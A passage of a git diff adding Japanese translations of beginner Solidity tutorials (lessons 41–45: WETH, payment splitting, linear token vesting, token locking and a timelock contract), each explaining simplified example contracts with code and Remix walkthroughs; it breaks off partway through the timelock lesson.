引出関数、ユーザーがWETHを破棄し、等量のETHを取り戻す + function withdraw(uint amount) public { + require(balanceOf(msg.sender) >= amount); + _burn(msg.sender, amount); + payable(msg.sender).transfer(amount); + emit Withdrawal(msg.sender, amount); + } +} +``` + +### 継承 + +`WETH`は`ERC20`トークン標準に準拠しているため、`WETH`コントラクトは`ERC20`コントラクトを継承しています。 + +### イベント + +`WETH`コントラクトには`2`つのイベントがあります: + +1. `Deposit`:預金イベント、預金時に発行されます。 +2. `Withdrawal`:引出イベント、引出時に発行されます。 + +### 関数 + +`ERC20`標準の関数に加えて、`WETH`コントラクトには`5`つの関数があります: + +- コンストラクタ:`WETH`の名前とシンボルを初期化します。 +- フォールバック関数:`fallback()`と`receive()`。ユーザーが`WETH`コントラクトに`ETH`を送金すると、自動的に`deposit()`預金関数がトリガーされ、等量の`WETH`を取得します。 +- `deposit()`:預金関数。ユーザーが`ETH`を預けると、等量の`WETH`をミントします。 +- `withdraw()`:引出関数。ユーザーが`WETH`を破棄し、等量の`ETH`を返却します。 + +## `Remix`デモンストレーション + +### 1. `WETH`コントラクトをデプロイ + +![WETH](./img/41-2.jpg) + +### 2. `deposit`を呼び出し、`1 ETH`を預けて、`WETH`残高を確認 + +![WETH](./img/41-3.jpg) + +この時点で`WETH`残高は`1 WETH`です。 + +![WETH](./img/41-4.jpg) + +### 3. `WETH`コントラクトに直接`1 ETH`を送金し、`WETH`残高を確認 + +![WETH](./img/41-5.jpg) + +この時点で`WETH`残高は`2 WETH`です。 + +![WETH](./img/41-6.jpg) + +### 4. `withdraw`を呼び出し、`1.5 ETH`を引き出して、`WETH`残高を確認 + +![WETH](./img/41-7.jpg) + +この時点で`WETH`残高は`0.5 WETH`です。 + +![WETH](./img/41-8.jpg) + +## まとめ + +今回のレッスンでは、`WETH`を紹介し、`WETH`コントラクトを実装しました。これは、ネイティブ`ETH`にスマートコントラクトで作られた服を着せるようなものです:服を着ているときは`WETH`となり、`ERC20`同質化トークン標準に準拠し、クロスチェーンや`dApp`で使用できます;服を脱ぐと、1:1で`ETH`に交換できます。 \ No newline at end of file diff --git a/Languages/ja/42_PaymentSplit_ja/readme.md b/Languages/ja/42_PaymentSplit_ja/readme.md new file mode 100644 index 000000000..4aa240a1a --- /dev/null +++ b/Languages/ja/42_PaymentSplit_ja/readme.md @@ -0,0 +1,201 @@ +--- +title: 42. 分账 +tags: + - solidity + - application + +--- + +# WTF Solidity 超シンプル入門: 42. 分账 + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、分账合約について説明します。このコントラクトは、`ETH`を重み付けに従って一群のアカウントに分配することができます。コードはOpenZeppelinライブラリの[PaymentSplitterコントラクト](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol)を簡略化したものです。 + +## 分账 + +分账とは、一定の比率に従って資金を分配することです。現実世界では、よく「取り分が不平等」という問題が発生しますが、ブロックチェーンの世界では、`Code is Law`なので、事前に各人の取り分の比率をスマートコントラクトに記述しておき、収入を得た後にスマートコントラクトが分账を行うことができます。 + +![分账](./img/42-1.webp) + +## 分账コントラクト + +分账コントラクト(`PaymentSplit`)には以下の特徴があります: + +1. コントラクト作成時に分账受益者`payees`と各人の持分`shares`を定めます。 +2. 持分は等しくても、その他の任意の比率でも構いません。 +3. このコントラクトが受け取った全ての`ETH`のうち、各受益者は自分に割り当てられた持分に比例した金額を引き出すことができます。 +4. 分账コントラクトは`Pull Payment`モデルに従い、支払いは自動的にアカウントに転送されず、このコントラクトに保存されます。受益者は`release()`関数を呼び出して実際の転送をトリガーします。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * 分账コントラクト + * @dev このコントラクトは受け取ったETHを事前に定めた持分に従って複数のアカウントに分配します。受け取ったETHは分账コントラクトに保存され、各受益者がrelease()関数を呼び出して受け取る必要があります。 + */ +contract PaymentSplit{ +``` + +### イベント + +分账コントラクトには合計`3`つのイベントがあります: + +- `PayeeAdded`:受益者追加イベント。 +- `PaymentReleased`:受益者出金イベント。 +- `PaymentReceived`:分账コントラクト入金イベント。 + +```solidity + // イベント + event PayeeAdded(address account, uint256 shares); // 受益者追加イベント + event PaymentReleased(address to, uint256 amount); // 受益者出金イベント + event PaymentReceived(address from, uint256 amount); // コントラクト入金イベント +``` + +### 状態変数 + +分账コントラクトには合計`5`つの状態変数があり、受益者アドレス、持分、支払い済み`ETH`などの変数を記録するために使用されます: + +- `totalShares`:総持分、`shares`の合計。 +- `totalReleased`:分账コントラクトから受益者に支払われた`ETH`、`released`の合計。 +- `payees`:`address`配列、受益者アドレスを記録 +- `shares`:`address`から`uint256`へのマッピング、各受益者の持分を記録。 +- `released`:`address`から`uint256`へのマッピング、分账コントラクトが各受益者に支払った金額を記録。 + +```solidity + uint256 public totalShares; // 総持分 + uint256 public totalReleased; // 総支払額 + + mapping(address => uint256) public shares; // 各受益者の持分 + mapping(address => uint256) public released; // 各受益者への支払額 + address[] public payees; // 受益者配列 +``` + +### 関数 + +分账コントラクトには合計`6`つの関数があります: + +- コンストラクタ:受益者配列`_payees`と分账持分配列`_shares`を初期化します。配列の長さは0であってはならず、2つの配列の長さは等しくなければなりません。`_shares`の要素は0より大きく、`_payees`のアドレスは0アドレスであってはならず、重複もあってはなりません。 +- `receive()`:コールバック関数、分账コントラクトが`ETH`を受け取った時に`PaymentReceived`イベントを発行します。 +- `release()`:分账関数、有効な受益者アドレス`_account`に対応する`ETH`を分配します。誰でもこの関数をトリガーできますが、`ETH`は受益者アドレス`account`に転送されます。`releasable()`関数を呼び出します。 +- `releasable()`:受益者アドレスが受け取るべき`ETH`を計算します。`pendingPayment()`関数を呼び出します。 +- `pendingPayment()`:受益者アドレス`_account`、分账コントラクトの総収入`_totalReceived`、そのアドレスが既に受け取った金額`_alreadyReleased`に基づいて、その受益者が現在分配されるべき`ETH`を計算します。 +- `_addPayee()`:受益者とその持分を追加する関数。コントラクトの初期化時に呼び出され、後から変更することはできません。 + +```solidity + /** + * @dev 受益者配列_payeesと分账持分配列_sharesを初期化 + * 配列の長さは等しく、0であってはなりません。_sharesの要素は0より大きく、_payeesのアドレスは0アドレスであってはならず、重複もあってはなりません + */ + constructor(address[] memory _payees, uint256[] memory _shares) payable { + // _payeesと_shares配列の長さが同じで、0でないことをチェック + require(_payees.length == _shares.length, "PaymentSplitter: payees and shares length mismatch"); + require(_payees.length > 0, "PaymentSplitter: no payees"); + // _addPayeeを呼び出し、受益者アドレスpayees、受益者持分shares、総持分totalSharesを更新 + for (uint256 i = 0; i < _payees.length; i++) { + _addPayee(_payees[i], _shares[i]); + } + } + + /** + * @dev コールバック関数、ETH受信時にPaymentReceivedイベントを発行 + */ + receive() external payable virtual { + emit PaymentReceived(msg.sender, msg.value); + } + + /** + * @dev 有効な受益者アドレス_accountに分账し、対応するETHを受益者アドレスに直接送信。誰でもこの関数をトリガーできますが、資金はaccountアドレスに送られます。 + * releasable()関数を呼び出します。 + */ + function release(address payable _account) public virtual { + // accountは有効な受益者でなければなりません + require(shares[_account] > 0, "PaymentSplitter: account has no shares"); + // accountが受け取るべきethを計算 + uint256 payment = releasable(_account); + // 受け取るべきethは0であってはなりません + require(payment != 0, "PaymentSplitter: account is not due payment"); + // 総支払額totalReleasedと各受益者への支払額releasedを更新 + totalReleased += payment; + released[_account] += payment; + // 送金 + _account.transfer(payment); + emit PaymentReleased(_account, payment); + } + + /** + * @dev アカウントが受け取ることができるethを計算。 + * pendingPayment()関数を呼び出します。 + */ + function releasable(address _account) public view returns (uint256) { + // 分账コントラクトの総収入totalReceivedを計算 + uint256 totalReceived = address(this).balance + totalReleased; + // _pendingPaymentを呼び出してaccountが受け取るべきETHを計算 + return pendingPayment(_account, totalReceived, released[_account]); + } + + /** + * @dev 受益者アドレス`_account`、分账コントラクトの総収入`_totalReceived`、そのアドレスが既に受け取った金額`_alreadyReleased`に基づいて、その受益者が現在分配されるべき`ETH`を計算。 + */ + function pendingPayment( + address _account, + uint256 _totalReceived, + uint256 _alreadyReleased + ) public view returns (uint256) { + // accountが受け取るべきETH = 総受取予定ETH - 既に受け取ったETH + return (_totalReceived * shares[_account]) / totalShares - _alreadyReleased; + } + + /** + * @dev 受益者_accountと対応する持分_accountSharesを追加。コンストラクタでのみ呼び出され、変更できません。 + */ + function _addPayee(address _account, uint256 _accountShares) private { + // _accountが0アドレスでないことをチェック + require(_account != address(0), "PaymentSplitter: account is the zero address"); + // _accountSharesが0でないことをチェック + require(_accountShares > 0, "PaymentSplitter: shares are 0"); + // _accountが重複していないことをチェック + require(shares[_account] == 0, "PaymentSplitter: account already has shares"); + // payees、shares、totalSharesを更新 + payees.push(_account); + shares[_account] = _accountShares; + totalShares += _accountShares; + // 受益者追加イベントを発行 + emit PayeeAdded(_account, _accountShares); + } +``` + +## `Remix`デモ + +### 1. `PaymentSplit`分账コントラクトをデプロイし、`1 ETH`を転送 + +コンストラクタで、2つの受益者アドレスを入力し、持分を`1`と`3`に設定します。 + +![デプロイ](./img/42-2.png) + +### 2. 受益者アドレス、持分、分配されるべき`ETH`を確認 + +![第一受益者を確認](./img/42-3.png) + +![第二受益者を確認](./img/42-4.png) + +### 3. 関数を使って`ETH`を受け取る + +![releaseを呼び出し](./img/42-5.png) + +### 4. 総支出、受益者残高、分配されるべき`ETH`の変化を確認 + +![確認](./img/42-6.png) + +## まとめ + +今回は分账コントラクトについて紹介しました。ブロックチェーンの世界では、`Code is Law`なので、事前に各人の取り分の比率をスマートコントラクトに記述しておき、収入を得た後にスマートコントラクトが分账を行うことで、事後の「取り分不平等」を避けることができます。 \ No newline at end of file diff --git a/Languages/ja/43_TokenVesting_ja/readme.md b/Languages/ja/43_TokenVesting_ja/readme.md new file mode 100644 index 000000000..a316cfb24 --- /dev/null +++ b/Languages/ja/43_TokenVesting_ja/readme.md @@ -0,0 +1,144 @@ +--- +title: 43. 線形釈放 +tags: + - solidity + - application + - ERC20 + +--- + +# WTF Solidity 超シンプル入門: 43. 線形釈放 + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、トークン帰属条項について紹介し、`ERC20`トークンの線形釈放コントラクトを作成します。コードは`OpenZeppelin`の`VestingWallet`コントラクトを簡略化したものです。 + +## トークン帰属条項 + +![デプロイ](./img/43-1.jpeg) + +従来の金融分野では、一部の企業が従業員や経営陣に株式を提供しています。しかし、大量の株式を同時に放出すると、短期的な売却圧力が生じ、株価を押し下げる可能性があります。そのため、通常企業は帰属期間を導入して、約束された資産の所有権を遅延させます。同様に、ブロックチェーン分野では、`Web3`スタートアップがチームにトークンを配分し、同時にトークンを低価格でベンチャーキャピタルやプライベートエクイティに売却します。もし彼らがこれらの低コストトークンを同時に取引所で現金化すれば、価格は暴落し、個人投資家が直接的な損失を被ることになります。 + +そのため、プロジェクト方は通常トークン帰属条項(token vesting)を約定し、帰属期間内にトークンを段階的に釈放することで、売却圧力を緩和し、チームと資本方の早期撤退を防ぎます。 + +## 線形釈放 + +線形釈放とは、トークンが帰属期間内に均一な速度で釈放されることを指します。例えば、あるプライベートエクイティが365,000枚の`ICU`トークンを保有し、帰属期間が1年(365日)の場合、毎日1,000枚のトークンが釈放されます。 + +以下では、`ERC20`トークンをロックして線形釈放するコントラクト`TokenVesting`を作成します。そのロジックは非常にシンプルです: + +- プロジェクト方が線形釈放の開始時間、帰属期間、受益者を規定します。 +- プロジェクト方がロックされた`ERC20`トークンを`TokenVesting`コントラクトに転送します。 +- 受益者は`release`関数を呼び出して、コントラクトから釈放されたトークンを取り出すことができます。 + +### イベント +線形釈放コントラクトには合計`1`つのイベントがあります。 +- `ERC20Released`:出金イベント、受益者が釈放されたトークンを引き出した際に発行されます。 + +```solidity +contract TokenVesting { + // イベント + event ERC20Released(address indexed token, uint256 amount); // 出金イベント +``` + +### 状態変数 +線形釈放コントラクトには合計`4`つの状態変数があります。 +- `beneficiary`:受益者アドレス。 +- `start`:帰属期間開始タイムスタンプ。 +- `duration`:帰属期間、単位は秒。 +- `erc20Released`:トークンアドレス->釈放量のマッピング、受益者が既に受け取ったトークン数量を記録。 + +```solidity + // 状態変数 + mapping(address => uint256) public erc20Released; // トークンアドレス->釈放量のマッピング、既に釈放されたトークンを記録 + address public immutable beneficiary; // 受益者アドレス + uint256 public immutable start; // 開始タイムスタンプ + uint256 public immutable duration; // 帰属期間 +``` + +### 関数 +線形釈放コントラクトには合計`3`つの関数があります。 + +- コンストラクタ:受益者アドレス、帰属期間(秒)、開始タイムスタンプを初期化します。パラメータは受益者アドレス`beneficiaryAddress`と帰属期間`durationSeconds`です。便宜上、開始タイムスタンプはデプロイ時のブロックチェーンタイムスタンプ`block.timestamp`を使用します。 +- `release()`:トークン引き出し関数、既に釈放されたトークンを受益者に転送します。`vestedAmount()`関数を呼び出して引き出し可能なトークン数量を計算し、`ERC20Released`イベントを発行してから、トークンを受益者に`transfer`します。パラメータはトークンアドレス`token`です。 +- `vestedAmount()`:線形釈放公式に基づいて、既に釈放されたトークン数量をクエリします。開発者はこの関数を修正することで、釈放方法をカスタマイズできます。パラメータはトークンアドレス`token`とクエリのタイムスタンプ`timestamp`です。 + +```solidity + /** + * @dev 受益者アドレス、釈放期間(秒)、開始タイムスタンプ(現在のブロックチェーンタイムスタンプ)を初期化 + */ + constructor( + address beneficiaryAddress, + uint256 durationSeconds + ) { + require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address"); + beneficiary = beneficiaryAddress; + start = block.timestamp; + duration = durationSeconds; + } + + /** + * @dev 受益者が既に釈放されたトークンを引き出し。 + * vestedAmount()関数を呼び出して引き出し可能なトークン数量を計算し、その後受益者にtransferします。 + * {ERC20Released}イベントを発行。 + */ + function release(address token) public { + // vestedAmount()関数を呼び出して引き出し可能なトークン数量を計算 + uint256 releasable = vestedAmount(token, uint256(block.timestamp)) - erc20Released[token]; + // 既に釈放されたトークン数量を更新 + erc20Released[token] += releasable; + // トークンを受益者に転送 + emit ERC20Released(token, releasable); + IERC20(token).transfer(beneficiary, releasable); + } + + /** + * @dev 線形釈放公式に基づいて、既に釈放された数量を計算。開発者はこの関数を修正することで、釈放方法をカスタマイズできます。 + * @param token: トークンアドレス + * @param timestamp: クエリのタイムスタンプ + */ + function vestedAmount(address token, uint256 timestamp) public view returns (uint256) { + // コントラクトが合計で受け取ったトークン数量(現在の残高 + 既に引き出した分) + uint256 totalAllocation = IERC20(token).balanceOf(address(this)) + erc20Released[token]; + // 線形釈放公式に基づいて、既に釈放された数量を計算 + if (timestamp < start) { + return 0; + } else if (timestamp > start + duration) { + return totalAllocation; + } else { + return (totalAllocation * (timestamp - start)) / duration; + } + } +``` + +## `Remix`デモ + +### 1. [第31講](../31_ERC20/readme.md)の`ERC20`コントラクトをデプロイし、自分に`10000`枚のトークンを鋳造。 + +![ERC20デプロイ](./img/43-2.png) + +![10000枚のトークンを鋳造](./img/43-3.png) + +### 2. `TokenVesting`線形釈放コントラクトをデプロイし、受益者を自分に設定し、帰属期間を`100`秒に設定。 + +![TokenVestingデプロイ](./img/43-4.png) + +### 3. `10000`枚の`ERC20`トークンを線形釈放コントラクトに転送。 + +![トークン転送](./img/43-5.png) + +### 4. `release()`関数を呼び出してトークンを引き出し。 + +![トークン引き出し](./img/43-6.png) + +## まとめ + +トークンの短期間大量解錠は価格に巨大な圧力を与えますが、トークン帰属条項を約定することで売却圧力を緩和し、チームと資本方の早期撤退を防ぐことができます。今回は、トークン帰属条項について紹介し、`ERC20`トークンの線形釈放コントラクトを作成しました。 \ No newline at end of file diff --git a/Languages/ja/44_TokenLocker_ja/readme.md b/Languages/ja/44_TokenLocker_ja/readme.md new file mode 100644 index 000000000..8e2be5648 --- /dev/null +++ b/Languages/ja/44_TokenLocker_ja/readme.md @@ -0,0 +1,148 @@ +--- +title: 44. トークンロック +tags: + - solidity + - application + - ERC20 + +--- + +# WTF Solidity 超シンプル入門: 44. トークンロック + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、流動性提供者`LP`トークンとは何か、なぜ流動性をロックする必要があるのかについて紹介し、シンプルな`ERC20`トークンロックコントラクトを作成します。 + +## トークンロック + +![トークンロック](./img/44-1.webp) + +トークンロック(Token Locker)は、シンプルなタイムロックコントラクトで、コントラクト内のトークンを一定期間ロックし、受益者はロック期間満了後にトークンを取り出すことができます。トークンロックは一般的に流動性提供者`LP`トークンをロックするために使用されます。 + +### `LP`トークンとは? + +ブロックチェーンでは、ユーザーは分散型取引所`DEX`でトークンを取引します(例:`Uniswap`取引所)。`DEX`は中央集権取引所(`CEX`)とは異なり、分散型取引所は自動マーケットメーカー(`AMM`)メカニズムを使用し、ユーザーやプロジェクト方がプールを提供する必要があり、これにより他のユーザーが即座に売買できるようになります。簡単に言うと、ユーザー/プロジェクト方は対応するペア(例:`ETH/DAI`)をプールに質入れし、補償として`DEX`は対応する流動性提供者`LP`トークン証明書を鋳造し、彼らが対応する持分を質入れしたことを証明し、手数料を徴収できるようにします。 + +### なぜ流動性をロックする必要があるのか? + +プロジェクト方が何の前触れもなく流動性プール内の`LP`トークンを引き出すと、投資者の手にあるトークンは現金化できなくなり、直接ゼロになってしまいます。この行為は`rug-pull`とも呼ばれ、2021年だけでも、様々な`rug-pull`詐欺が投資者から28億ドル以上の暗号通貨を騙し取りました。 + +しかし、`LP`トークンがトークンロックコントラクト内にロックされている場合、ロック期間が終了する前にプロジェクト方は流動性プールを引き出すことができず、`rug pull`もできません。そのため、トークンロックはプロジェクト方の早期逃走を防ぐことができます(ロック期間満了時の逃走には注意が必要)。 + +## トークンロックコントラクト + +以下では、`ERC20`トークンをロックするコントラクト`TokenLocker`を作成します。そのロジックは非常にシンプルです: + +- 開発者がコントラクトをデプロイする際に、ロック時間、受益者アドレス、およびトークンコントラクトを規定します。 +- 開発者が`TokenLocker`コントラクトにトークンを転送します。 +- ロック期間満了時に、受益者はコントラクト内のトークンを取り出すことができます。 + +### イベント + +`TokenLocker`コントラクトには合計`2`つのイベントがあります。 + +- `TokenLockStart`:ロック開始イベント、コントラクトデプロイ時に発行され、受益者アドレス、トークンアドレス、ロック開始時間、終了時間を記録。 +- `Release`:トークン釈放イベント、受益者がトークンを取り出した際に発行され、受益者アドレス、トークンアドレス、釈放トークン時間、トークン数量を記録。 + +```solidity + // イベント + event TokenLockStart(address indexed beneficiary, address indexed token, uint256 startTime, uint256 lockTime); + event Release(address indexed beneficiary, address indexed token, uint256 releaseTime, uint256 amount); +``` + +### 状態変数 + +`TokenLocker`コントラクトには合計`4`つの状態変数があります。 + +- `token`:ロック対象トークンアドレス。 +- `beneficiary`:受益者アドレス。 +- `locktime`:ロック時間(秒)。 +- `startTime`:ロック開始タイムスタンプ(秒)。 + +```solidity + // ロックされるERC20トークンコントラクト + IERC20 public immutable token; + // 受益者アドレス + address public immutable beneficiary; + // ロック時間(秒) + uint256 public immutable lockTime; + // ロック開始タイムスタンプ(秒) + uint256 public immutable startTime; +``` + +### 関数 + +`TokenLocker`コントラクトには合計`2`つの関数があります。 + +- コンストラクタ:トークンコントラクト、受益者アドレス、およびロック時間を初期化します。 +- `release()`:ロック期間満了後、トークンを受益者に釈放します。受益者が自発的に`release()`関数を呼び出してトークンを取り出す必要があります。 + +```solidity + /** + * @dev タイムロックコントラクトをデプロイし、トークンコントラクトアドレス、受益者アドレス、ロック時間を初期化。 + * @param token_: ロックされるERC20トークンコントラクト + * @param beneficiary_: 受益者アドレス + * @param lockTime_: ロック時間(秒) + */ + constructor( + IERC20 token_, + address beneficiary_, + uint256 lockTime_ + ) { + require(lockTime_ > 0, "TokenLock: lock time should greater than 0"); + token = token_; + beneficiary = beneficiary_; + lockTime = lockTime_; + startTime = block.timestamp; + + emit TokenLockStart(beneficiary_, address(token_), block.timestamp, lockTime_); + } + + /** + * @dev ロック時間経過後、トークンを受益者に釈放。 + */ + function release() public { + require(block.timestamp >= startTime+lockTime, "TokenLock: current time is before release time"); + + uint256 amount = token.balanceOf(address(this)); + require(amount > 0, "TokenLock: no tokens to release"); + + token.transfer(beneficiary, amount); + + emit Release(msg.sender, address(token), block.timestamp, amount); + } +``` + +## `Remix`デモ + +### 1. [第31講](../31_ERC20/readme.md)の`ERC20`コントラクトをデプロイし、自分に`10000`枚のトークンを鋳造。 + +![`Remix`デモ](./img/44-2.jpg) + +### 2. `TokenLocker`コントラクトをデプロイし、トークンアドレスを`ERC20`コントラクトアドレスに、受益者を自分に、ロック期間を`180`秒に設定。 + +![`Remix`デモ](./img/44-3.jpg) + +### 3. `10000`枚のトークンをコントラクトに転送。 + +![`Remix`デモ](./img/44-4.jpg) + +### 4. ロック期間`180`秒内に`release()`関数を呼び出しても、トークンを取り出すことはできません。 + +![`Remix`デモ](./img/44-5.jpg) + +### 5. ロック期間後に`release()`関数を呼び出し、トークンの取り出しに成功。 + +![`Remix`デモ](./img/44-6.jpg) + +## まとめ + +今回は、トークンロックコントラクトについて紹介しました。プロジェクト方は一般的に`DEX`で流動性を提供し、投資者の取引を支援します。プロジェクト方が突然`LP`を引き出すと`rug-pull`が発生しますが、`LP`をトークンロックコントラクト内にロックすることで、この状況を回避できます。 \ No newline at end of file diff --git a/Languages/ja/45_Timelock_ja/readme.md b/Languages/ja/45_Timelock_ja/readme.md new file mode 100644 index 000000000..fa97631f8 --- /dev/null +++ b/Languages/ja/45_Timelock_ja/readme.md @@ -0,0 +1,270 @@ +--- +title: 45. タイムロック +tags: + - solidity + - application + +--- + +# WTF Solidity 超シンプル入門: 45. タイムロック + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、タイムロックとタイムロックコントラクトについて紹介します。コードはCompoundの[Timelockコントラクト](https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol)を簡略化したものです。 + +## タイムロック + +![タイムロック](./img/45-1.jpeg) + +タイムロック(Timelock)は、銀行の金庫やその他の高セキュリティコンテナでよく見られるロック機構です。これはタイマーの一種で、たとえ開錠者が正しいパスワードを知っていても、設定された時間が経過する前に金庫やボルトが開かれることを防ぐように設計されています。 + +ブロックチェーンでは、タイムロックは`DeFi`と`DAO`で広く採用されています。これは一段のコードで、スマートコントラクトの特定の機能を一定期間ロックできます。スマートコントラクトのセキュリティを大幅に向上させることができます。例えば、ハッカーが`Uniswap`のマルチシグをハックして金庫の資金を引き出そうとした場合、金庫コントラクトに2日間のロック期間のタイムロックが設定されていると、ハッカーが引き出しトランザクションを作成してから実際に資金を引き出すまでに2日間の待機期間が必要になります。この間、プロジェクト方は対応策を見つけることができ、投資者は事前にトークンを売却して損失を減らすことができます。 + +## タイムロックコントラクト + +以下では、タイムロック`Timelock`コントラクトについて紹介します。そのロジックは複雑ではありません: + +- `Timelock`コントラクトを作成する際、プロジェクト方はロック期間を設定し、コントラクトの管理者を自分に設定できます。 + +- タイムロックには主に3つの機能があります: + - トランザクションを作成し、タイムロックキューに追加する。 + - トランザクションのロック期間満了後、トランザクションを実行する。 + - 後悔した場合、タイムロックキュー内の特定のトランザクションをキャンセルする。 + +- プロジェクト方は一般的にタイムロックコントラクトを重要なコントラクトの管理者に設定し(例:金庫コントラクト)、その後タイムロックを通してそれらを操作します。 +- タイムロックコントラクトの管理者は一般的にプロジェクトのマルチシグウォレットであり、分散化を保証します。 + +### イベント +`Timelock`コントラクトには合計`4`つのイベントがあります。 +- `QueueTransaction`:トランザクション作成およびタイムロックキュー参加イベント。 +- `ExecuteTransaction`:ロック期間満了後のトランザクション実行イベント。 +- `CancelTransaction`:トランザクションキャンセルイベント。 +- `NewAdmin`:管理者アドレス変更イベント。 + +```solidity + // イベント + // トランザクションキャンセルイベント + event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // トランザクション実行イベント + event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // トランザクション作成およびキュー参加イベント + event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // 管理者アドレス変更イベント + event NewAdmin(address indexed newAdmin); +``` + +### 状態変数 +`Timelock`コントラクトには合計`4`つの状態変数があります。 + +- `admin`:管理者アドレス。 +- `delay`:ロック期間。 +- `GRACE_PERIOD`:トランザクション有効期限。トランザクションが実行時点に達しても`GRACE_PERIOD`内に実行されなかった場合、期限切れになります。 +- `queuedTransactions`:タイムロックキューに参加したトランザクションの識別子`txHash`から`bool`へのマッピング、タイムロックキュー内のすべてのトランザクションを記録。 + +```solidity + // 状態変数 + address public admin; // 管理者アドレス + uint public constant GRACE_PERIOD = 7 days; // トランザクション有効期限、期限切れのトランザクションは無効 + uint public delay; // トランザクションロック時間(秒) + mapping (bytes32 => bool) public queuedTransactions; // txHashからboolへ、タイムロックキュー内のすべてのトランザクションを記録 +``` + +### 修飾子 +`Timelock`コントラクトには合計`2`つの`modifier`があります。 +- `onlyOwner()`:修飾された関数は管理者のみが実行可能。 +- `onlyTimelock()`:修飾された関数はタイムロックコントラクトのみが実行可能。 + +```solidity + // onlyOwner modifier + modifier onlyOwner() { + require(msg.sender == admin, "Timelock: Caller not admin"); + _; + } + + // onlyTimelock modifier + modifier onlyTimelock() { + require(msg.sender == address(this), "Timelock: Caller not Timelock"); + _; + } +``` + +### 関数 +`Timelock`コントラクトには合計`7`つの関数があります。 + +- コンストラクタ:トランザクションロック時間(秒)と管理者アドレスを初期化。 +- `queueTransaction()`:トランザクションを作成してタイムロックキューに追加。パラメータは複雑で、完全なトランザクションを記述する必要があります: + - `target`:対象コントラクトアドレス + - `value`:送信ETH数量 + - `signature`:呼び出す関数シグネチャ(function signature) + - `data`:トランザクションのcall data + - `executeTime`:トランザクション実行のブロックチェーンタイムスタンプ。 + + この関数を呼び出す際、トランザクション予定実行時間`executeTime`が現在のブロックチェーンタイムスタンプ+ロック時間`delay`より大きいことを保証する必要があります。トランザクションの一意識別子はすべてのパラメータのハッシュ値で、`getTxHash()`関数で計算されます。キューに参加したトランザクションは`queuedTransactions`変数で更新され、`QueueTransaction`イベントを発行します。 +- `executeTransaction()`:トランザクションを実行。パラメータは`queueTransaction()`と同じです。実行されるトランザクションがタイムロックキューにあり、トランザクションの実行時間に達し、期限切れでないことが要求されます。トランザクション実行時には`solidity`の低級メンバー関数`call`を使用します([第22講](https://github.com/AmazingAng/WTF-Solidity/blob/main/22_Call/readme.md)で紹介)。 +- `cancelTransaction()`:トランザクションをキャンセル。パラメータは`queueTransaction()`と同じです。キャンセルされるトランザクションがキューにあることが要求され、`queuedTransactions`を更新して`CancelTransaction`イベントを発行します。 +- `changeAdmin()`:管理者アドレスを変更、`Timelock`コントラクトのみが呼び出し可能。 +- `getBlockTimestamp()`:現在のブロックチェーンタイムスタンプを取得。 +- `getTxHash()`:トランザクションの識別子を返す、多くのトランザクションパラメータの`hash`。 + +```solidity + /** + * @dev コンストラクタ、トランザクションロック時間(秒)と管理者アドレスを初期化 + */ + constructor(uint delay_) { + delay = delay_; + admin = msg.sender; + } + + /** + * @dev 